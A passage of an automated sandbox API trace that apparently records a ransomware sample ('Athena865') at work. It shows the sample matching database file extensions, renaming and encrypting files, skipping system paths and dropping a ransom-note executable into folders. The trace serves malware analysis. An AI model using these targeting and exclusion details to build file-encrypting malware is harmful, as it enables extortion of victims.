lstrlenW (lpString="adb") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.554] lstrlenW (lpString="adb") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.554] lstrlenW (lpString="ade") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0103.555] lstrlenW (lpString="adf") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0103.555] lstrlenW (lpString="adn") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0103.555] lstrlenW (lpString="adp") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0103.555] lstrlenW (lpString="alf") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0103.555] lstrlenW (lpString="ask") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0103.555] lstrlenW (lpString="btr") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0103.555] lstrlenW (lpString="cat") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0103.555] lstrlenW (lpString="cdb") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0103.555] lstrlenW (lpString="ckp") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0103.555] lstrlenW (lpString="cma") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0103.555] lstrlenW (lpString="cpd") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0103.555] lstrlenW (lpString="dacpac") returned 6 [0103.555] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0103.555] lstrlenW (lpString="dad") returned 3 [0103.555] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0103.555] lstrlenW (lpString="dadiagrams") returned 10 [0103.555] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0103.555] lstrlenW (lpString="daschema") returned 8 [0103.555] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0103.555] lstrlenW (lpString="db-journal") returned 10 [0103.556] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0103.556] lstrlenW (lpString="db-shm") returned 6 [0103.556] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0103.556] lstrlenW (lpString="db-wal") returned 6 [0103.556] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0103.556] lstrlenW (lpString="dbc") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0103.556] lstrlenW (lpString="dbs") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0103.556] lstrlenW (lpString="dbt") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0103.556] lstrlenW (lpString="dbv") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0103.556] lstrlenW (lpString="dbx") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0103.556] lstrlenW (lpString="dcb") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0103.556] lstrlenW (lpString="dct") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0103.556] lstrlenW (lpString="dcx") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0103.556] lstrlenW (lpString="ddl") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0103.556] lstrlenW (lpString="dlis") returned 4 [0103.556] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0103.556] lstrlenW (lpString="dp1") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0103.556] lstrlenW (lpString="dqy") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0103.556] lstrlenW (lpString="dsk") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0103.556] lstrlenW (lpString="dsn") returned 3 [0103.556] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0103.557] lstrlenW (lpString="dtsx") returned 4 [0103.557] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0103.557] lstrlenW (lpString="dxl") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0103.557] lstrlenW (lpString="eco") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0103.557] lstrlenW (lpString="ecx") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0103.557] lstrlenW (lpString="edb") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0103.557] lstrlenW (lpString="epim") returned 4 [0103.557] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0103.557] lstrlenW (lpString="fcd") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0103.557] lstrlenW (lpString="fdb") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0103.557] lstrlenW (lpString="fic") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0103.557] lstrlenW (lpString="flexolibrary") returned 12 [0103.557] lstrlenW (lpString="fm5") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0103.557] lstrlenW (lpString="fmp") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0103.557] lstrlenW (lpString="fmp12") returned 5 [0103.557] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0103.557] lstrlenW (lpString="fmpsl") returned 5 [0103.557] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0103.557] lstrlenW (lpString="fol") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0103.557] lstrlenW (lpString="fp3") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0103.557] lstrlenW (lpString="fp4") returned 3 [0103.557] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0103.558] lstrlenW (lpString="fp5") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0103.558] lstrlenW (lpString="fp7") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0103.558] lstrlenW (lpString="fpt") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0103.558] lstrlenW (lpString="frm") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0103.558] lstrlenW (lpString="gdb") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.558] lstrlenW (lpString="gdb") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.558] lstrlenW (lpString="grdb") returned 4 [0103.558] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0103.558] lstrlenW (lpString="gwi") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0103.558] lstrlenW (lpString="hdb") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0103.558] lstrlenW (lpString="his") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0103.558] lstrlenW (lpString="ib") returned 2 [0103.558] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0103.558] lstrlenW (lpString="idb") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0103.558] lstrlenW (lpString="ihx") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0103.558] lstrlenW (lpString="itdb") returned 4 [0103.558] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0103.558] lstrlenW (lpString="itw") returned 3 [0103.558] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0103.558] lstrlenW (lpString="jet") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0103.559] lstrlenW (lpString="jtx") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0103.559] lstrlenW (lpString="kdb") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0103.559] lstrlenW (lpString="kexi") returned 4 [0103.559] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0103.559] lstrlenW (lpString="kexic") returned 5 [0103.559] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0103.559] lstrlenW (lpString="kexis") returned 5 [0103.559] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0103.559] lstrlenW (lpString="lgc") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0103.559] lstrlenW (lpString="lwx") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0103.559] lstrlenW (lpString="maf") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0103.559] lstrlenW (lpString="maq") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0103.559] lstrlenW (lpString="mar") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0103.559] lstrlenW (lpString="marshal") returned 7 [0103.559] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0103.559] lstrlenW (lpString="mas") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0103.559] lstrlenW (lpString="mav") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0103.559] lstrlenW (lpString="maw") returned 3 [0103.559] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0103.559] lstrlenW (lpString="mdbhtml") returned 7 [0103.559] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0103.559] lstrlenW (lpString="mdn") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0103.560] lstrlenW (lpString="mdt") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0103.560] lstrlenW (lpString="mfd") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0103.560] lstrlenW (lpString="mpd") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0103.560] lstrlenW (lpString="mrg") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0103.560] lstrlenW (lpString="mud") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0103.560] lstrlenW (lpString="mwb") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0103.560] lstrlenW (lpString="myd") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0103.560] lstrlenW (lpString="ndf") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0103.560] lstrlenW (lpString="nnt") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0103.560] lstrlenW (lpString="nrmlib") returned 6 [0103.560] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0103.560] lstrlenW (lpString="ns2") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0103.560] lstrlenW (lpString="ns3") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0103.560] lstrlenW (lpString="ns4") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0103.560] lstrlenW (lpString="nsf") returned 3 [0103.560] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0103.560] lstrlenW (lpString="nv") returned 2 [0103.560] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0103.561] lstrlenW (lpString="nv2") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0103.561] lstrlenW (lpString="nwdb") returned 4 [0103.561] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0103.561] lstrlenW (lpString="nyf") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0103.561] lstrlenW (lpString="odb") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.561] lstrlenW (lpString="odb") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.561] lstrlenW (lpString="oqy") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0103.561] lstrlenW (lpString="ora") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0103.561] lstrlenW (lpString="orx") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0103.561] lstrlenW (lpString="owc") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0103.561] lstrlenW (lpString="p96") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0103.561] lstrlenW (lpString="p97") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0103.561] lstrlenW (lpString="pan") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0103.561] lstrlenW (lpString="pdb") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0103.561] lstrlenW (lpString="pdm") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0103.561] lstrlenW (lpString="pnz") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0103.561] lstrlenW (lpString="qry") returned 3 [0103.561] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0103.562] lstrlenW (lpString="qvd") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0103.562] lstrlenW (lpString="rbf") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0103.562] lstrlenW (lpString="rctd") returned 4 [0103.562] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0103.562] lstrlenW (lpString="rod") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0103.562] lstrlenW (lpString="rodx") returned 4 [0103.562] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0103.562] lstrlenW (lpString="rpd") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0103.562] lstrlenW (lpString="rsd") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0103.562] lstrlenW (lpString="sas7bdat") returned 8 [0103.562] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0103.562] lstrlenW (lpString="sbf") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0103.562] lstrlenW (lpString="scx") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0103.562] lstrlenW (lpString="sdb") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0103.562] lstrlenW (lpString="sdc") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0103.562] lstrlenW (lpString="sdf") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0103.562] lstrlenW (lpString="sis") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0103.562] lstrlenW (lpString="spq") returned 3 [0103.562] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0103.562] lstrlenW (lpString="te") returned 2 [0103.563] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0103.563] lstrlenW (lpString="teacher") returned 7 [0103.563] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0103.563] lstrlenW (lpString="tmd") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0103.563] lstrlenW (lpString="tps") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0103.563] lstrlenW (lpString="trc") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.563] lstrlenW (lpString="trc") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.563] lstrlenW (lpString="trm") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0103.563] lstrlenW (lpString="udb") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0103.563] lstrlenW (lpString="udl") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0103.563] lstrlenW (lpString="usr") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0103.563] lstrlenW (lpString="v12") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0103.563] lstrlenW (lpString="vis") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0103.563] lstrlenW (lpString="vpd") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0103.563] lstrlenW (lpString="vvv") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0103.563] lstrlenW (lpString="wdb") returned 3 [0103.563] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0103.563] lstrlenW (lpString="wmdb") returned 4 [0103.563] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0103.564] lstrlenW (lpString="wrk") returned 3 [0103.564] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0103.564] lstrlenW (lpString="xdb") returned 3 [0103.564] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0103.564] lstrlenW (lpString="xld") returned 3 [0103.564] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0103.564] lstrlenW (lpString="xmlff") returned 5 [0103.564] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0103.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\desktop.ini.Athena865") returned 95 [0103.564] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\desktop.ini" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0103.565] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.565] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67) returned 1 [0103.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519888 [0103.566] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519800) returned 1 [0103.567] CryptGenRandom (in: hProv=0x519800, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.567] CryptReleaseContext (hProv=0x519800, dwFlags=0x0) returned 1 [0103.567] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154 [0103.569] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000 [0103.570] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519800) returned 1 [0103.571] CryptGenRandom (in: hProv=0x519800, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.571] CryptReleaseContext (hProv=0x519800, dwFlags=0x0) returned 1 [0103.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c9e0 [0103.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9e0 | out: hHeap=0x4f0000) returned 1 [0103.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.572] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.572] CloseHandle (hObject=0x154) returned 1 [0103.572] CloseHandle (hObject=0x17c) returned 1 [0103.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519888 | out: hHeap=0x4f0000) returned 1 [0103.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.572] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7acb5a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7acb5a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.572] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.572] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedb45673, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0103.572] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.572] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.572] lstrcmpiW (lpString1="Low", lpString2=".") returned 1 [0103.572] lstrcmpiW (lpString1="Low", lpString2="..") returned 1 [0103.572] lstrcmpiW (lpString1="Low", lpString2="windows") returned -1 [0103.572] lstrcmpiW (lpString1="Low", lpString2="bootmgr") returned 1 [0103.572] lstrcmpiW (lpString1="Low", lpString2="temp") returned -1 [0103.573] lstrcmpiW (lpString1="Low", lpString2="pagefile.sys") returned -1 [0103.573] lstrcmpiW (lpString1="Low", lpString2="boot") returned 1 [0103.573] lstrcmpiW (lpString1="Low", lpString2="ids.txt") returned 1 [0103.573] lstrcmpiW (lpString1="Low", lpString2="ntuser.dat") returned -1 [0103.573] lstrcmpiW (lpString1="Low", lpString2="perflogs") returned -1 [0103.573] lstrcmpiW (lpString1="Low", lpString2="MSBuild") returned -1 [0103.573] lstrlenW (lpString="Low") returned 3 [0103.573] lstrcpyW (in: lpString1=0x241e8dc, lpString2="Low" | out: lpString1="Low") returned="Low" [0103.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c788 [0103.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x5239f8 [0103.573] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0103.573] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0103.573] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\low\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.575] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2=".") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="..") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="windows") returned -1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="bootmgr") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="temp") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="pagefile.sys") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="boot") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="ids.txt") returned 1 [0103.575] lstrcmpiW (lpString1="Virtualized", lpString2="ntuser.dat") returned 1 [0103.576] lstrcmpiW (lpString1="Virtualized", lpString2="perflogs") returned 1 [0103.576] lstrcmpiW (lpString1="Virtualized", lpString2="MSBuild") returned 1 [0103.576] lstrlenW (lpString="Virtualized") returned 11 [0103.576] lstrcpyW (in: lpString1=0x241e8dc, lpString2="Virtualized" | out: lpString1="Virtualized") returned="Virtualized" [0103.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547558 [0103.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xac) returned 0x543310 [0103.576] lstrcatW (in: lpString1="Virtualized", lpString2="\\" | out: lpString1="Virtualized\\") returned="Virtualized\\" [0103.576] lstrcatW (in: lpString1="Virtualized\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Virtualized\\HOW TO BACK YOUR FILES.exe") returned="Virtualized\\HOW TO BACK YOUR FILES.exe" [0103.576] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\Virtualized\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\virtualized\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.578] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: 